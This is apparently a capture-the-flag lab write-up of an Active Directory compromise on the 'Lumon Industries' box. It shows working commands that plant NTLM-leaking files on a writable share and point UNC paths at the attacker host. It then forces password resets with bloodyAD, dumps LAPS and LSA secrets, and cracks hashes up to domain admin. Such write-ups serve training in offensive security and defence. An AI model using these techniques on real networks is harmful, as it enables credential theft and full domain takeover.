Overview

The machine starts with provided credentials that lead to an intranet portal with SMB write access, allowing NTLM theft to capture harmonyc's hash, which when cracked reveals admin portal access that leaks IntranetSvc's NTLMv2 hash. After cracking IntranetSvc's password, BloodHound enumeration reveals ForceChangePassword privileges on MarkS, whose password change grants intranet access and local administrator privileges to dump LSA secrets, extracting cached domain credentials for hellye. Cracking hellye's hash yields domain admin access to the DC.

Lumon Industries will soon be integrating a high-value employee into the organization. In accordance with internal security protocols, a comprehensive penetration test and internal access verification must be conducted prior to full onboarding.

For the purposes of this evaluation, you will be provided the assigned credentials and access permissions corresponding to the subject employee. Your objective is to assess the scope and boundaries of these permissions, ensuring compliance with all Lumon security standards and operational safeguards.

We start with the credentials hellyr:H3lenaR!2025

Enumeration

We start with nmap scan as usual

In this lab we're given two targets not one, so usually we don't start with the DC but let's go through the scan for this

For intranet

  • We have port 80 open hosting the site intranet.lumons.hacksmarter
  • Domain name is obviously lumons.hacksmarter
  • This only hosts services other than what the actual DC host, so it has SMB, RDP, HTTP, WINRM but no Kerberos or LDAP which is expected

For DC

  • Hostname is DC01
  • There is ADCS
  • No clock-skew

Nothing else needed here.

Environment Setup

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ echo '10.0.31.64 intranet.lumons.hacksmarter intranet' | sudo tee -a /etc/hosts
10.0.31.64 intranet.lumons.hacksmarter intranet

┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ echo '10.0.18.181 DC01 DC01.lumons.hacksmarter lumons.hacksmarter' | sudo tee -a /etc/hosts
10.0.18.181 DC01 DC01.lumons.hacksmarter lumons.hacksmarter

┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb 10.0.18.181 -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.0.18.181 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:lumons.hacksmarter) (signing:True) (SMBv1
:False) (Null Auth:True) (DC:True)
SMB 10.0.18.181 445 DC01 [+] krb5 conf saved to: krb5.conf
SMB 10.0.18.181 445 DC01 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.0.18.181 445 DC01 [+] lumons.hacksmarter\:

┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf

Intranet Port 80

It hosts Lumons Industries Portal where we can login to, and some possible usernames that we might need later

After login there is nothing else we can do, just bunch of static components

Fuzzing the directory we find that there is admin page and terminal page so let's see what is there

The admin page returns 403 so we don't have access to it

Same exactly goes for terminal we don't have access to

Intranet SMB

So listing the shares on Intranet shows that we have both read and write over the share MDRepo so first we look for anything sensitive in the share, if nothing we start looking for the Write abuse one way or another

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb intranet -u hellyr -p 'H3lenaR!2025' --shares
SMB 10.0.31.64 445 INTRANET [*] Windows 11 / Server 2025 Build 26100 x64 (name:INTRANET) (domain:lumons.hacksmarter) (signing:False) (
SMBv1:False)
SMB 10.0.31.64 445 INTRANET [+] lumons.hacksmarter\hellyr:H3lenaR!2025
SMB 10.0.31.64 445 INTRANET [*] Enumerated shares
SMB 10.0.31.64 445 INTRANET Share Permissions Remark
SMB 10.0.31.64 445 INTRANET ----- ----------- ------
SMB 10.0.31.64 445 INTRANET ADMIN$ Remote Admin
SMB 10.0.31.64 445 INTRANET C$ Default share
SMB 10.0.31.64 445 INTRANET IPC$ READ Remote IPC
SMB 10.0.31.64 445 INTRANET MDRepo READ,WRITE

There is only 2 files here, .url file which will either leak sensitive info or just the url for the portal

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ smbclient //10.0.31.64/MDRepo -U 'lumons.hacksmarter\hellyr%H3lenaR!2025'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Oct 12 15:01:45 2025
  ..                                DHS        0  Sun Oct 12 12:40:05 2025
  Lumons Intranet.url A 131 Sun Oct 12 13:57:18 2025
  Lumons_International.pdf            A   539001  Sun Oct 12 15:01:45 2025

                10353659 blocks of size 4096. 3280297 blocks available
smb: \> prompt off
smb: \> mget *
getting file \Lumons Intranet.url of size 131 as Lumons Intranet.url (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \Lumons_International.pdf of size 539001 as Lumons_International.pdf (272.3 KiloBytes/sec) (average 209.7 KiloBytes/sec)
smb: \> exit

No password on it just the portal URL

bash 
c┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ at
challenge_lab_lumon.ovpn        init.nmap                       Lumons_International.pdf        raft-small-words-lowercase.txt
init.gnmap                      init.xml                        Lumons Intranet.url
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ cat Lumons\ Intranet.url
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,11
[InternetShortcut]
IDList=
URL=https://intranet.lumons.hacksmarter/login

The PDF file though, shows info that we might need The users naming convention is FirstName.LastInitial but let's skip for now because if we have access to users read then it would be a waste of time to do whatever we'll try to do here

PDF also leaks so names that we might need later

Nothing we can use out of this, but we have write Access over the share so let's use that

Access as harmonyc

There is multiple ways we can abuse the Write to SMB shares by dropping multiple files that call out external UNC path pointing to our attacker machine which leaks NTLMv2 hashes that we might get lucky cracking it Usually I use ntlm_theft for the lnk, url files and use the nxc for drop-library-ms cause it is broken in ntlm_theft if those didn't work we can try the new CVE-2026-32202 which is a new 0click NTLM leaking vulnerability but it was discovered a year after the box release so it won't be intended path

First generate files using ntlmtheft

Also drop the .library-ms file using nxc

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb intranet -u hellyr -p 'H3lenaR!2025' -M drop-library-ms -o SERVER=10.200.83.65 NAME=doesnotmatter
SMB 10.0.31.64 445 INTRANET [*] Windows 11 / Server 2025 Build 26100 x64 (name:INTRANET) (domain:lumons.hacksmarter) (signing:False) (
SMBv1:False)
SMB 10.0.31.64 445 INTRANET [+] lumons.hacksmarter\hellyr:H3lenaR!2025
SMB 10.0.31.64 445 INTRANET [*] Enumerated shares
SMB 10.0.31.64 445 INTRANET Share Permissions Remark
SMB 10.0.31.64 445 INTRANET ----- ----------- ------
SMB 10.0.31.64 445 INTRANET ADMIN$ Remote Admin
SMB 10.0.31.64 445 INTRANET C$ Default share
SMB 10.0.31.64 445 INTRANET IPC$ READ Remote IPC
SMB 10.0.31.64 445 INTRANET MDRepo READ,WRITE
DROP-LIB... 10.0.31.64      445    INTRANET         [+] Found writable share : MDRepo
DROP-LIB... 10.0.31.64      445    INTRANET         [+] Created .library-ms file on share 'MDRepo'

The .lnk file didn't work but the library-ms worked and returned hash for the user harmonyc

Cracking NTLMv2 for harmonyc

The password was simple so it cracked.

Here, I had two different paths and I guess both would lead to the same results either to start collecting bloodhound data directly which I believed wasn't the right move at that point cause I knew we aren't done with the portal yet but even if you did you'll find that harmony doesn't have any useful permission and you'd move on

Login to Portal as Harmony

After cracking the password, we can login to the portal to see if there is difference between the user we're given and harmony or not. And once we did we can see that the user have access to the admin portal and the terminal

The admin page supports 3 things

  • unlock AD account (turned out later it doesn't work)
  • ping server
  • Browse File share

There is a lot we can try here, AD based techniques and Web techniques Because we know this is probably ran from PowerShell we can try and do command injection, we could also look for SSRF in the ping field looking for any internal services but before getting dragged into all this let's first look into the AD based techniques

If the user running the website is different than harmonyc, we can also try to leak his NTLMv2 hash using the Browse file functionality pointing it to UNC path of our attacker machine just like what we did before but here we don't drop file and wait we point and trigger it ourselves

First I listed the users to see if there are any other users on the target or not just to be assured but even if there isn't any we would trigger it anyway

So pointing it to UNC path on our attacker machine it attempts to authenticate and leaks the hash, it is running as the user IntranetSvc as expected

Access as IntranetSvc

This password was also simple so it is cracked

Now I believe it is the time to collect data for bloodhound

I collect using RustHound and bloodhound.py (cause RustHound miss the self-edges)

And using bloodhound.py

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ bloodhound-ce-python -dc DC01.lumons.hacksmarter -d lumons.hacksmarter -u IntranetSvc -p Servicesince1979 --use-ldaps -ns 10.0.18.181 --dns-tcp
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: lumons.hacksmarter
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC01.lumons.hacksmarter
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Found 28 users
INFO: Connecting to LDAP server: DC01.lumons.hacksmarter
INFO: Found 60 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Intranet.lumons.hacksmarter
INFO: Querying computer: DC01.lumons.hacksmarter
INFO: Done in 00M 17S

IntranetSvc user got some outbound objects, ForceChangePassword on multiple users but we can't just go around changing everyone's password so we need to find who is worth it

The user PeterK is member of the LAPSADMINS group so he can read local administrators passwords that are managed by LAPS, though PeterK account is Disabled.

So I figured let's try to change it anyway and unlock it using the functionality from the portal

the unlock word is vague, so I wanted to try it anyway

So first we change the password

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ bloodyAD --host 10.0.18.181 -d lumons.hacksmarter -u IntranetSvc -p Servicesince1979 set password Peterk Password123
[+] Password changed successfully!

And as you can see it is Disabled

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb ^Cu Peterk Password123
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb DC01 -u Peterk -p Password123
SMB 10.0.18.181 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:lumons.hacksmarter) (signing:True) (SMBv1
:False) (Null Auth:True) (DC:True)
SMB 10.0.18.181 445 DC01 [-] lumons.hacksmarter\Peterk:Password123 STATUS_ACCOUNT_DISABLED

So using the portal we can try to unlock it and it says it was successfully unlocked

But it wasn't and still disabled so I decided to move on to the other user MarkS

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb DC01 -u Peterk -p Password123
SMB 10.0.18.181 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:lumons.hacksmarter) (signing:True) (SMBv1
:False) (Null Auth:True) (DC:True)
SMB 10.0.18.181 445 DC01 [-] lumons.hacksmarter\Peterk:Password123 STATUS_ACCOUNT_DISABLED

Access as MarkS

The user MarkS is also member of the LAPSADMINS group and it is enabled so we don't need to do anything rather than the password changing.

We first abuse the ForceChangePassword to change the users password

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ bloodyAD --host 10.0.18.181 -d lumons.hacksmarter -u IntranetSvc -p Servicesince1979 set password Peterk Password123^C
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ bloodyAD --host 10.0.18.181 -d lumons.hacksmarter -u IntranetSvc -p Servicesince1979 set password marks Password123
[+] Password changed successfully!

Shell as marks

Validating the user, and looking if he has access to WINRM even though because he isn't member of the Remote Management Users group but because this isn't DC Host sometimes the administrators set up WINRM access over these hosts using Local accounts

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb DC01 -u marks -p Password123
SMB 10.0.18.181 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:lumons.hacksmarter) (signing:True) (SMBv1
:False) (Null Auth:True) (DC:True)
SMB 10.0.18.181 445 DC01 [+] lumons.hacksmarter\marks:Password123

┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc winrm Intranet -u marks -p Password123
WINRM 10.0.31.64 5985 INTRANET [*] Windows 11 / Server 2025 Build 26100 (name:INTRANET) (domain:lumons.hacksmarter)
WINRM 10.0.31.64 5985 INTRANET [+] lumons.hacksmarter\marks:Password123 (Pwn3d!)

And we got the user flag.

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ evil-winrm -i Intranet -u marks -p Password123

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\MarkS\Documents> type ..\Desktop\user.txt
249d9efcda06d2ec368f7cb4f2e8510a
*Evil-WinRM* PS C:\Users\MarkS\Document

Access as localadmin user

So after dumping the password using -M LAPS module from NXC we can see that the user have RDP access so let's login

bash 
┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb Intranet -u localadmin -p CoughCoatStingCommaRelayRinse --local-auth
SMB 10.0.31.64 445 INTRANET [*] Windows 11 / Server 2025 Build 26100 x64 (name:INTRANET) (domain:INTRANET) (signing:False) (SMBv1:Fals
e)
SMB 10.0.31.64 445 INTRANET [+] INTRANET\localadmin:CoughCoatStingCommaRelayRinse

┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc winrm Intranet -u localadmin -p CoughCoatStingCommaRelayRinse --local-auth
WINRM 10.0.31.64 5985 INTRANET [*] Windows 11 / Server 2025 Build 26100 (name:INTRANET) (domain:lumons.hacksmarter)
WINRM 10.0.31.64 5985 INTRANET [-] INTRANET\localadmin:CoughCoatStingCommaRelayRinse

┌─[]─[10.200.83.65]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc rdp Intranet -u localadmin -p CoughCoatStingCommaRelayRinse --local-auth
RDP 10.0.31.64 3389 INTRANET [*] Windows 10 or Windows Server 2016 Build 26100 (name:INTRANET) (domain:INTRANET) (nla:True)
RDP 10.0.31.64 3389 INTRANET [+] INTRANET\localadmin:CoughCoatStingCommaRelayRinse (Pwn3d!)

Looking at the user privileges he doesn't have SeBackupPrivileges enabled and we can't enable it cause it'll need domain admin creds or anyone with access to do this access And even if the user has dumping the SAM at this case doesn't really mean much because we are local administrator anyway, we can try to dump LSA instead to see if there is any cached domain credentials

To do that we need first to add the user marks as administrator, just instead of uploading mimikatz we'll add him and use secretsdump directly

Restart the WinRM session for the user marks and we'll see the new privileges landed in

Now we can use secrets dump directly to dump the LSA

It'll trigger this but it is just an alert (doesn't take quarantine action or anything)

Looking for the users we dumped to find which one is worth cracking, and we find that hellye is part of the Domain Admins group so let's crack it

This is a DCC2 hash which means DC cached it isn't NTLM hash that we can use directly that's why we need to crack it first As you can see it takes a while but it does crack eventually

Validating the user

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ nxc smb DC01 -u hellye -p 'Security&system'
SMB 10.0.18.181 445 DC01 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:lumons.hacksmarter) (signing:True) (SMBv1
:False) (Null Auth:True) (DC:True)
SMB 10.0.18.181 445 DC01 [+] lumons.hacksmarter\hellye:Security&system (Pwn3d!)

And we get the root flag as you can see

bash 
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/LumonIndustries]
└──╼ [★]$ evil-winrm -i DC01 -u hellye -p 'Security&system'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\hellye\Documents> ls ..\Desktop
*Evil-WinRM* PS C:\Users\hellye\Documents> type ..\..\Administrator\Desktop\root.txt
90e665d4238a5b6a4e6948d09520f5c3
*Evil-WinRM* PS C:\Users\hellye\Documents> exit

Info: Exiting with code 0

Path

Pasted image 20260821185735.png

Resources